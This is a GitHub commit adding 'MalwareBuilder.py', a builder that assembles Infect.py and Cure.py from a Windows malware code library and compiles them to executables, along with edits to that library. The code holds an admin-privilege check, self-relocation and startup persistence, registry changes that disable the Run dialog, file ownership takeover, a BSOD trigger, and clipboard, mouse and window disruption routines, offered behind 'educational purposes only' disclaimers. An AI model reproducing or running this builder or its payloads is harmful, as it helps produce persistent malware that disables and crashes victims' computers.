Skip to content

Commit 7c8d1a0

Browse files
Created MalwareBuilder
Fully Implemented the dynamic coder, COMPLETELY YAY Also changed config.ini majorly to support changes and make it easier to understand
1 parent 11b2753 commit 7c8d1a0

File tree

5 files changed

+319
-59
lines changed

5 files changed

+319
-59
lines changed

MalwareBuilder.py

Lines changed: 231 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,231 @@
1+
import configparser
2+
import importlib.util
3+
import logging
4+
import os.path
5+
import shutil
6+
import subprocess
7+
import time
8+
9+
import colorlog
10+
11+
12+
# -------------------------- Functions -------------------------- #
13+
14+
15+
class Construct:
16+
@staticmethod
17+
def __safe_process_run(command, custom_err_message="executing the command", log_output=True):
18+
try:
19+
result = subprocess.run(command, check=True, capture_output=True, text=True)
20+
if log_output:
21+
log.debug(f"{result.stdout}.")
22+
except subprocess.CalledProcessError as e:
23+
log.error(f"[x] An error occurred while {custom_err_message}: {e.stderr}")
24+
exit(1)
25+
except Exception as e:
26+
log.exception(f"[x] An unexpected error occurred: {e}")
27+
exit(1)
28+
29+
@classmethod
30+
def exe(cls, script_names):
31+
# Uninstall pathlib to avoid conflicts with PyInstaller
32+
REINSTALL = False
33+
if importlib.util.find_spec('pathlib') is not None:
34+
log.info(f"[-] Uninstalling pathlib to avoid conflicts with PyInstaller")
35+
# FUN FUCKIN FACT - Spent 5 hours not knowing why the fuckin code was hanging
36+
# Until I remembered I had forgotten -y, now you may ask, how didn't I know?
37+
# WELL FOR SOME FUCKIN REASON THE LOG BELOW SAID IT UNINSTALLED PERFECTLY, SO I DEBUGGED
38+
# WHY THE CODE SHOWS LOGS IN IMPROPER TIMINGS? AND AFTER I FIXED IT LOW AND BEHOLD IT WORKED
39+
cls.__safe_process_run(["python.exe", "-m", "pip", "uninstall", "pathlib", "-y"],
40+
custom_err_message="uninstalling pathlib")
41+
log.info(f"[-] 'pathlib' has been uninstalled successfully.")
42+
REINSTALL = True
43+
44+
# Convert the scripts to an executable
45+
for scripts in script_names:
46+
log.info(f"[-] Converting {scripts} to an executable (This may take a few minutes)...")
47+
cls.__safe_process_run(['pyinstaller', '--onefile', scripts],
48+
custom_err_message=f"converting {scripts} to an executable")
49+
log.info(f"[-] {scripts} has been successfully converted to an executable.")
50+
51+
# Reinstall pathlib if it was uninstalled
52+
if REINSTALL:
53+
log.info(f"[-] Reinstalling pathlib due to previous uninstall")
54+
cls.__safe_process_run(["python.exe", "-m", "pip", "install", "pathlib"],
55+
custom_err_message="reinstalling pathlib")
56+
57+
@staticmethod
58+
def functions(config_path):
59+
config = configparser.ConfigParser()
60+
config.optionxform = str # Preserve original case of keys
61+
config.read(config_path)
62+
63+
features = {}
64+
for section in config.sections():
65+
if section == "What to create":
66+
for key, value in config.items(section, raw=True):
67+
try:
68+
callable1, callable2 = value.split(",")
69+
features[key.strip()] = (callable1.strip(), callable2.strip())
70+
except ValueError:
71+
features[key.strip()] = "DISABLED"
72+
return features
73+
74+
@staticmethod
75+
def end_code(variable):
76+
return fr"""
77+
try:
78+
if not is_admin():
79+
log.critical("This script requires administrator privileges.")
80+
exit(1)
81+
82+
if os.path.abspath(__file__) != config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp"):
83+
Core().move_script() # Move the script
84+
Core().add_to_startup() # Add the script to startup execution
85+
log.info("Script moved to new folder, quitting now, will run on startup.")
86+
exit(0) # Exit the script to allow it to run from the new location after reboot
87+
else:
88+
{variable}
89+
except Exception as error:
90+
log.exception(f"A fatal error occurred: {{error}}")
91+
"""
92+
93+
@staticmethod
94+
def safe_deletion(file_path):
95+
if os.path.exists(file_path):
96+
if os.path.isdir(file_path):
97+
shutil.rmtree(file_path)
98+
else:
99+
os.remove(file_path)
100+
log.info(f"[-] {file_path} has been deleted successfully.")
101+
else:
102+
log.warning(f"[!] {file_path} does not exist - Ignoring.")
103+
104+
105+
# -------------------------- Setup Code -------------------------- #
106+
107+
# Print the ASCII art
108+
ASCII_ART = r"""
109+
_____ .__
110+
/ \ _____ | |__ _ _______ _______ ____
111+
/ \ / \\__ \ | |\ \/ \/ /\__ \\_ __ \_/ __ \
112+
/ Y \/ __ \| |_\ / / __ \| | \/\ ___/ version: BETA
113+
\____|__ (____ /____/\/\_/ (____ /__| \___ > by: Shahm Najeeb (@DefinetlyNotAI)
114+
\/ \/ \/ \/ date: 16/01/2025
115+
________ __
116+
/ _____/ ____ ____ ________________ _/ |_ ___________
117+
/ \ ____/ __ \ / \_/ __ \_ __ \__ \\ __\/ _ \_ __ \
118+
\ \_\ \ ___/| | \ ___/| | \// __ \| | ( <_> ) | \/
119+
\______ /\___ >___| /\___ >__| (____ /__| \____/|__|
120+
\/ \/ \/ \/ \/
121+
"""
122+
print(ASCII_ART)
123+
time.sleep(0.5)
124+
125+
# Setup the logger
126+
logger = colorlog.getLogger()
127+
logger.setLevel(getattr(logging, "INFO", logging.INFO))
128+
# noinspection DuplicatedCode
129+
handler = colorlog.StreamHandler()
130+
131+
log_colors = {
132+
"DEBUG": "cyan",
133+
"INFO": "green",
134+
"WARNING": "yellow",
135+
"ERROR": "red",
136+
"CRITICAL": "red",
137+
}
138+
139+
formatter = colorlog.ColoredFormatter(
140+
"%(log_color)s%(message)s",
141+
log_colors=log_colors,
142+
)
143+
144+
handler.setFormatter(formatter)
145+
logger.addHandler(handler)
146+
log = colorlog.getLogger(__name__)
147+
148+
# Log start messages
149+
log.info("[-] Starting the script")
150+
log.warning("⚠️ USE FOR EDUCATIONAL PURPOSES ONLY ⚠️")
151+
log.warning("⚠️ I AM NOT RESPONSIBLE FOR ANY DAMAGE CAUSED BY THIS SCRIPT ⚠️")
152+
time.sleep(0.5)
153+
154+
# Get the location of the config file
155+
LOCATION_CONFIG = input("[i] Location of config.ini (Leave blank to use 'config.ini'): ")
156+
if LOCATION_CONFIG == "":
157+
LOCATION_CONFIG = "config.ini"
158+
if not os.path.exists(LOCATION_CONFIG):
159+
log.error("[x] Config file not found, quitting now.")
160+
exit(1)
161+
162+
# Get the features to use from the config file
163+
FEATURES = Construct.functions(LOCATION_CONFIG)
164+
for feature, status in FEATURES.items():
165+
log.debug(f"[*] {feature} - {status}")
166+
167+
# Initialize the code variables for code
168+
INFECT_CODE = ""
169+
CURE_CODE = ""
170+
171+
# -------------------------- Builder Code -------------------------- #
172+
173+
try:
174+
if shutil.which("pyinstaller") is None:
175+
log.error("[x] PyInstaller is not installed or not found in PATH.")
176+
exit(1)
177+
178+
# Create the Infect.py and Cure.py files
179+
try:
180+
log.info("[-] Building the Infect.py and Cure.py files")
181+
# Get functions to use from config.ini
182+
# Infect functions
183+
for feature, status in FEATURES.items():
184+
INFECT_CODE += f" {feature}.{status[1]}\n"
185+
# Cure functions
186+
for feature, status in FEATURES.items():
187+
if status[0] != "None":
188+
CURE_CODE += f" {feature}.{status[0]}\n"
189+
190+
# Get the whole code database
191+
log.debug("[*] Reading the MalwareCode.py file")
192+
with open("MalwareCode.py", "r") as f:
193+
DB_CODE = f.read()
194+
195+
# Create the Infect.py and Cure.py files and write the code
196+
# Function calls to add to the Infect.py
197+
with open("Infect.py", "w") as f:
198+
f.write(DB_CODE)
199+
f.write(Construct.end_code(INFECT_CODE))
200+
# Function calls to add to the Cure.py
201+
with open("Cure.py", "w") as f:
202+
f.write(DB_CODE)
203+
f.write(Construct.end_code(CURE_CODE))
204+
205+
log.info("[-] Infect.py and Cure.py files built successfully")
206+
except Exception as error:
207+
log.exception(f"[x] A fatal error occurred: {error}")
208+
exit(1)
209+
210+
# Convert the Infect.py and Cure.py to executables, then delete the original files
211+
try:
212+
log.info("[-] Converting Infect.py and Cure.py to executables")
213+
Construct.exe(['Infect.py', 'Cure.py'])
214+
log.info("[-] Infect.py and Cure.py converted to executables successfully")
215+
except Exception as error:
216+
log.exception(f"[x] A fatal error occurred: {error}")
217+
exit(1)
218+
finally:
219+
Construct.safe_deletion("Infect.py")
220+
Construct.safe_deletion("Cure.py")
221+
Construct.safe_deletion("build")
222+
Construct.safe_deletion("Cure.spec")
223+
Construct.safe_deletion("Infect.spec")
224+
shutil.move("dist/Infect.exe", "Infect.exe")
225+
shutil.move("dist/Cure.exe", "Cure.exe")
226+
Construct.safe_deletion("dist")
227+
228+
log.info("[-] Script execution completed successfully")
229+
except KeyboardInterrupt:
230+
log.warning("[!] Keyboard Interrupt detected, quitting now.")
231+
exit(1)

MalwareCode.py

Lines changed: 13 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,6 @@
1010
import shutil
1111
import string
1212
import subprocess
13-
import sys
1413
import threading
1514
import time
1615
import winreg as reg
@@ -23,36 +22,20 @@
2322
import win32gui
2423
import wmi
2524

26-
# ----------------------- Config Mechanism ------------------------- #
25+
# ------------- Config Mechanism And Constants Setup --------------- #
2726

27+
# noinspection DuplicatedCode
2828
# Create a ConfigParser object
2929
config = configparser.ConfigParser()
3030

3131
# Read the config.ini file
3232
# Validates path if argument is passed for config path
33-
config.read(sys.argv[1] if len(sys.argv) > 1 and os.path.isfile(sys.argv[1]) and sys.argv[1].endswith('config.ini') else 'config.ini')
34-
35-
# ------------------------ Constants Code -------------------------- #
33+
config.read('config.ini')
3634

3735
LOG_LEVEL = config.get("Core Settings", "LOG_LEVEL", fallback="CRITICAL")
3836
USE_DAEMON = config.getboolean("Core Settings", "USE_DAEMON", fallback=True)
39-
ASCII_ART = r"""
40-
_____ .__
41-
/ \ _____ | |__ _ _______ _______ ____
42-
/ \ / \\__ \ | |\ \/ \/ /\__ \\_ __ \_/ __ \
43-
/ Y \/ __ \| |_\ / / __ \| | \/\ ___/ version: INDEV
44-
\____|__ (____ /____/\/\_/ (____ /__| \___ > by: Shahm Najeeb (DefinetlyNotAI)
45-
\/ \/ \/ \/ date: 16/01/2025
46-
________ __
47-
/ _____/ ____ ____ ________________ _/ |_ ___________
48-
/ \ ____/ __ \ / \_/ __ \_ __ \__ \\ __\/ _ \_ __ \
49-
\ \_\ \ ___/| | \ ___/| | \// __ \| | ( <_> ) | \/
50-
\______ /\___ >___| /\___ >__| (____ /__| \____/|__|
51-
\/ \/ \/ \/ \/
52-
"""
53-
54-
# -------------------- Setup Logging Mechanism --------------------- #
5537

38+
# -------------------- Setup Logging Mechanism -------------------- #
5639

5740
logger = colorlog.getLogger()
5841
logger.setLevel(getattr(logging, LOG_LEVEL, logging.INFO))
@@ -161,7 +144,7 @@ def take_ownership(file_path):
161144
log.info(f"Ownership of {file_path} has been taken.")
162145

163146

164-
# ------------------------- Decorators Code ------------------------ #
147+
# ------------------------- Decorators Code ----------------------- #
165148

166149
def experimental(func: callable):
167150
@functools.wraps(func)
@@ -950,7 +933,7 @@ def enable():
950933

951934
class Run:
952935
@staticmethod
953-
def disable_run():
936+
def disable():
954937
"""
955938
Disables the Run dialog on Windows by setting the "NoRun" policy in the registry.
956939
"""
@@ -965,7 +948,7 @@ def disable_run():
965948
log.error(f"Error disabling Run dialog: {e}")
966949

967950
@staticmethod
968-
def enable_run():
951+
def enable():
969952
"""
970953
Enables the Run dialog on Windows by removing the "NoRun" policy from the registry.
971954
"""
@@ -1567,7 +1550,7 @@ def crash(self):
15671550
log.error(f"Failed to execute BSOD: {e}")
15681551

15691552

1570-
# ----------------------- Lol Tomfoolery Code DB -------------------- #
1553+
# ---------------------- Lol Tomfoolery Code DB -------------------- #
15711554

15721555
class Tomfoolery:
15731556
@staticmethod
@@ -1733,7 +1716,7 @@ def __glitch_forever(self):
17331716
log.error(f"Failed to glitch clipboard: {e}")
17341717
time.sleep(random.uniform(0.2, 1.0)) # Randomize the interval
17351718

1736-
def __revert(self):
1719+
def _revert(self):
17371720
"""Stop glitching and restore the clipboard to its default behavior."""
17381721
self.stop_glitching.set()
17391722
log.info("Clipboard glitching stopped.")
@@ -1746,7 +1729,7 @@ def start(self):
17461729
while True:
17471730
time.sleep(1)
17481731
except KeyboardInterrupt:
1749-
self.__revert()
1732+
self._revert()
17501733

17511734
class MouseFreeze:
17521735
@staticmethod
@@ -1824,7 +1807,7 @@ def __bug_windows(self):
18241807

18251808
time.sleep(0.3) # Small delay to maintain chaos
18261809

1827-
def __revert_gui(self):
1810+
def _revert_gui(self):
18281811
"""Revert GUI to its original state."""
18291812
# Revert windows
18301813
for win in gw.getAllWindows():
@@ -1850,7 +1833,7 @@ def start(self):
18501833
while True:
18511834
time.sleep(1)
18521835
except KeyboardInterrupt:
1853-
self.__revert_gui()
1836+
self._revert_gui()
18541837

18551838
class WindowTeleport:
18561839
# Function to get screen dimensions
@@ -1909,23 +1892,4 @@ def start(self):
19091892
log.info("Exiting...")
19101893

19111894

1912-
# ----------------------------- Script Code ------------------------- #
1913-
1914-
1915-
"""
1916-
try:
1917-
print(ASCII_ART)
1918-
if not is_admin():
1919-
log.critical("This script requires administrator privileges.")
1920-
exit(1)
1921-
1922-
if os.path.abspath(__file__) != config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp"):
1923-
Core().move_script() # Move the script
1924-
Core().add_to_startup() # Add the script to startup execution
1925-
log.info("Script moved to new folder, quitting now, will run on startup.")
1926-
exit(0) # Exit the script to allow it to run from the new location
1927-
else:
1928-
pass # Code inserted here
1929-
except Exception as e:
1930-
log.exception(f"A fatal error occurred: {e}")
1931-
"""
1895+
# ---------------------------- Main Code --------------------------- #

0 commit comments

Comments
 (0)